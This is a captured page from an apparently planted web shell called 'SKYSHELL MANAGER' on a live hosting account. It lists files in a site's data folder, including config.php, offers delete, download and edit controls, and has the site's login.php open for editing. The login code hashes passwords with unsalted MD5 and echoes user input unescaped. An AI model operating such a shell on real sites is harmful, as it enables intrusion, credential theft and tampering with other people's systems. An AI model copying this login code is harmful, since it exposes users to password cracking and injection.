📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
20617.73 KB
0644
🗑️
⬇️
✏️
🔒
Editing: login.php
<?php session_start(); include_once "config.php"; $email = mysqli_real_escape_string($conn, $_POST['email']); $password = mysqli_real_escape_string($conn, $_POST['password']); if(!empty($email) && !empty($password)){ $sql = mysqli_query($conn, "SELECT * FROM users WHERE email = '{$email}'"); if(mysqli_num_rows($sql) > 0){ $row = mysqli_fetch_assoc($sql); $user_pass = md5($password); $enc_pass = $row['password']; if($user_pass === $enc_pass){ $status = "Active now"; $sql2 = mysqli_query($conn, "UPDATE users SET status = '{$status}' WHERE unique_id = {$row['unique_id']}"); if($sql2){ $_SESSION['unique_id'] = $row['unique_id']; $_SESSION['chat_email'] = $row['email']; echo "success"; }else{ echo "Something went wrong. Please try again!"; } }else{ echo "Email or Password is Incorrect!"; } }else{ echo "$email - This email not Exist!"; } }else{ echo "All input fields are required!"; } ?>
💾 Save Changes